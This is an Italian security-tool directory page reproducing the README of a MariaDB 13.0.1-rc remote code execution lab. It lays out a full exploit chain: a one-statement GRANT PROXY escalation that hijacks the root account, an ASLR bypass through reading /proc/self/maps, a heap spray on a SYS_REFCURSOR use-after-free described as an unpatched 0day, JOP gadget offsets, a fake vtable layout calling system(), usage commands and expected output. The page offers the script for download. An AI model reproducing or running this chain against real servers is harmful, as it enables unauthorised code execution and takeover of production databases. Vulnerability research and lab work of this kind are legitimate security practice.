Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
mariadb-13-rce-lab — MariaDB 13.0.1-rc RCE lab — priv-esc + heap UAF + catena JOP fino a system() come uid 999(mysql) su immagine Docker stock. Trovato con RAPTOR e raptor-loop-hunt. | Kitploit
Strumenti/GitHubGitHub/dinosn/mariadb-13-rce-lab
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitPenetration TestingSviluppo PayloadSicurezza dei DatabaseBinary ExploitationLab e Pratica
GitHubdinosn/mariadb-13-rce-lab

mariadb-13-rce-lab

MariaDB 13.0.1-rc RCE lab — priv-esc + heap UAF + catena JOP fino a system() come uid 999(mysql) su immagine Docker stock. Trovato con RAPTOR e raptor-loop-hunt.

Vedi Repository
33611 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

MariaDB 13.0.1-rc RCE Lab

Esecuzione di codice in remoto sull'immagine Docker non modificata e stock di MariaDB 13.0.1-rc come uid 999 (mysql).

Due varianti di exploit:

VarianteFileRequisitiNote
SQL puro (consigliata)exploit_pure_sql.pyun account MariaDB a bassi privilegi + TCPnessun accesso all'host, niente docker, niente /proc/mem, nessuna password di root
PoC assistito dall'hostexploit.pyroot sull'host Dockerscrive la catena JOP via /proc/<pid>/mem

Testata e provata su: mariadb@sha256:ef34af04bda12e6c85395328af78d562176c34fb29ae52063a4eb0d68fa7b3e9 (4/4 esecuzioni, ciascuna con basi ASLR nuove).

Modello di attacco SQL puro (exploit_pure_sql.py)

L'attaccante dispone solo di:

  • un account MariaDB con soli privilegi USAGE (l'utente lowpriv del compose) + la sua password, e
  • raggiungibilità TCP sulla porta 3306.

L'intera catena viene eseguita come istruzioni SQL; nessun accesso ai processi lato host, nessun comando docker, nessun indirizzo noto. Ogni indirizzo runtime viene appreso dal target stesso via SQL:

root@kitploit:~
1. F-09  GRANT PROXY ON CURRENT_USER() TO 'root'@'%' IDENTIFIED VIA ''
         -> qualsiasi utente diventa DBA completo (account root dirottato, password vuota).
            Una sola istruzione, nessun privilegio richiesto.

2. LOAD DATA INFILE '/proc/self/maps' INTO TABLE ...
         -> lettura file lato server (privilegio FILE, secure_file_priv non impostato sullo stock)
            rivela la base PIE e la base libc = vero superamento di ASLR. Le basi cambiano
            a ogni esecuzione e vengono lette dal processo live.

3. SET @fake = REPEAT(CHAR(0xDE), 134217728)   (variabile utente da 128 MiB)
         -> glibc dedica una regione mmap (0x8001000, dati a +0x30).
            Il suo indirizzo viene scoperto confrontando /proc/self/maps prima/dopo
            l'allocazione - via SQL. Nessun /proc/<pid>/mem coinvolto.

4. SET @fake = CONCAT(REPEAT(...), UNHEX('<layout JOP>'), REPEAT(...))
         -> l'intera catena JOP (D2, D1, system(), stringa di comando) viene
            scritta via SQL al momento dell'allocazione. Il puntatore auto-referenziale
            [V+0xa8] = V+0x140 viene incorporato usando l'indirizzo trovato al passo 3;
            glibc riutilizza esattamente lo stesso slot mmap quando il buffer viene
            riallocato, quindi l'indirizzo rimane stabile (verificato a ogni iterazione,
            re-incorporato se si sposta).

5. F-05 UAF di SYS_REFCURSOR + heap spray (spray128/grow5/uaf5, binario stock)
         -> l'array di cursori liberato di 1792 byte viene reclamato con un
            blob da 1784 byte che trasporta V all'offset 0x20; dispatch virtuale
            result->prepare() -> D2 -> D1 -> system("sh -c '<cmd>'")
            esegue il comando come uid 999(mysql).

6. Prova: il comando scrive un marcatore; il server crasha subito dopo il ritorno
   di system() (mariadbd è PID 1 -> il container esce). Riavviare il container e
   leggere il marcatore.

Le uniche operazioni non-SQL rimaste sono la gestione post-exploit: riavviare il container (già crashato) e mostrare il file marcatore — non fanno parte dello sfruttamento.

Sostituzione dei vecchi helper lato host

Utilizzo (SQL puro)

root@kitploit:~
# avvia il lab
docker compose up -d

# esegui l'exploit da qualsiasi punto con accesso TCP - nessun accesso all'host necessario
python3 exploit_pure_sql.py --host 192.168.1.119 --port 3306 \
    --user lowpriv --password lowpriv \
    --command "id > /tmp/pwned" --marker /tmp/pwned \
    --container mariadb-rce-lab

Richiede solo un client mariadb/mysql e Python 3. --container viene usato per la visualizzazione finale del marcatore (riavvio + cat) e può essere omesso se il marcatore viene verificato in altro modo.

Output finale atteso:

root@kitploit:~
[*] ============ FIRING (CALL uaf5) ============
[*] session died as expected after RCE: no sentinel within 10s; got: b''
[*] waiting for marker /tmp/pwned ...
[+] /tmp/pwned: uid=999(mysql) gid=999(mysql) groups=999(mysql)

[+] ===========================================
[+]  RCE CONFIRMED (pure SQL, lowpriv account)
[+] ===========================================

Catena di vulnerabilità (entrambe le varianti)

1. F-09 — Escalation dei privilegi (qualsiasi utente → DBA)

GRANT PROXY ON ''@'' TO 'root'@'localhost' IDENTIFIED VIA '' bypassa tutti i controlli sui privilegi. La clausola di autenticazione vuota fa sì che LEX_USER::has_auth() restituisca false (saltando check_alter_user()), mentre replace_user_table() applica comunque la password vuota — sostituendo le credenziali di root. Una sola istruzione SQL, qualsiasi utente autenticato, ogni versione pubblicata di MariaDB.

2. Superamento di ASLR via /proc/self/maps

LOAD DATA INFILE '/proc/self/maps' legge l'intero layout di memoria del processo mariadbd dall'interno di SQL, rivelando la base PIE e la base libc. Funziona con secure_file_priv = NULL (non impostato) sull'immagine stock.

3. F-05 — Use-after-free di SYS_REFCURSOR (0day, non corretto a monte)

sp_cursor_array::get_cursor_by_ref() restituisce un puntatore interno a una Dynamic_array il cui storage sottostante viene spostato da my_realloc durante la crescita. Quando il metodo open() di un cursore esegue SQL controllato dall'attaccante che apre ulteriori cursori, l'array cresce, il vecchio storage viene liberato e il puntatore memorizzato dal chiamante diventa dangling.

Il blocco liberato (16 cursori x 112 byte = 1792 byte) viene reclamato da uno heap spray di 128 copie di variabili utente da 1784 byte ciascuna (adattamento esatto per il chunk glibc). Il payload dello spray inserisce un puntatore a vtable controllato all'offset 0x20 (il membro result di sp_cursor), successivamente usato per il dispatch virtuale:

root@kitploit:~
Materialized_cursor::open() -> result->prepare()
  -> mov rax, [result]       ;  rax = puntatore a vtable dell'attaccante (V)
  -> call [rax + 0x20]       ;  chiama il gadget D2 (slot vtable di prepare())

4. Catena JOP → system()

Due gadget JOP dal binario mariadbd stock (nessun ROP, nessuno stack pivot):

GadgetOffsetIstruzioneScopo
D2PIE+0x80da77call *0x100(%rax)Correzione allineamento stack
D1PIE+0xe3075b

La vtable finta V vive nel buffer da 128 MiB; layout:

root@kitploit:~
V+0x20  = D2          (slot vtable di prepare())
V+0xa0  = system()    (libc+0x5c560)
V+0xa8  = V+0x140     (puntatore alla stringa di comando -> rdi)
V+0x100 = D1          (dispatcher JOP)
V+0x140 = "sh -c '<cmd>'\0"

5. Il trucco di scoperta degli indirizzi in SQL puro (nuovo)

Il problema dell'uovo e della gallina di scrivere dati JOP auto-referenziali prima di conoscere l'indirizzo del buffer viene risolto dal comportamento mmap di glibc:

  1. allocare un buffer marcatore da 128 MiB → regione mmap dedicata (0x8001000, dati a regione+0x30) → indirizzo trovato via diff di /proc/self/maps
  2. riallocare il buffer con il layout completo (self-reference = V+0x140) → glibc esegue munmap del vecchio chunk e riutilizza lo stesso slot → indirizzo stabile
  3. ogni passaggio viene verificato rileggendo /proc/self/maps; se l'indirizzo si sposta, il self-reference viene re-incorporato e la scrittura ritentata (in pratica converge in una iterazione)

Variante assistita dall'host (exploit.py)

Stessa catena, ma il layout JOP viene scritto nel processo via /proc/<pid>/mem dall'host Docker (richiede root), lo script payload viene creato via docker exec, e la connessione avviene con la password di root dal file compose. Mantenuta come PoC storico; la variante in SQL puro la supera.

Note

  • L'UAF di SYS_REFCURSOR F-05 non è corretto a monte al 2026-08-03 (zero commit su sql/sp_cursor.{cc,h} tra il tag 13.0.1 e HEAD).
  • La correzione dell'escalation F-09 (dbd60d0ad8d, MDEV-40470) è sui rami di sviluppo ma assente da ogni versione pubblicata (verificato dalla 13.0.1 alla 10.6.27).
  • Sono stati scelti 128 MiB perché la soglia mmap dinamica di glibc può crescere oltre 4 MiB dopo grandi free; 128 MiB ottengono in modo affidabile una regione mmap dedicata (verificato con 128 e 256 MiB; una dimensione maggiore di max_allowed_packet fallisce, quindi SET GLOBAL max_allowed_packet viene alzato prima e viene usata una nuova connessione).
  • L'offset dei dati all'interno della regione mmap è +0x30 su questa immagine/glibc (verificato tra esecuzioni; aggiornare DATA_OFF se mai dovesse differire).

Trovato con

  • RAPTOR — Framework di ricerca offensiva/difensiva autonoma
  • raptor-loop-hunt — plugin iterativo di caccia alle vulnerabilità
Scarica lo strumento
Vecchio helper (exploit.py)Sostituzione in SQL puro
docker inspect → PID + /proc/<pid>/maps lato hostLOAD DATA INFILE '/proc/self/maps'
scritture su /proc/<pid>/mem lato host per la catena JOPlayout incorporato via CONCAT/UNHEX all'allocazione; indirizzo dal diff di maps lato SQL; il riutilizzo dello slot mmap mantiene valido il self-reference
docker exec ... echo CMD > /tmp/payload_cmd.shstringa di comando incorporata direttamente nel layout JOP
mariadb -uroot -plabpass (password di root)escalation GRANT PROXY dall'account a bassi privilegi
docker exec ... cat MARKERusato solo per mostrare la prova
mov rdi,[rax+0xa8]; call [rax+0xa0]
Carica puntatore cmd, chiama system()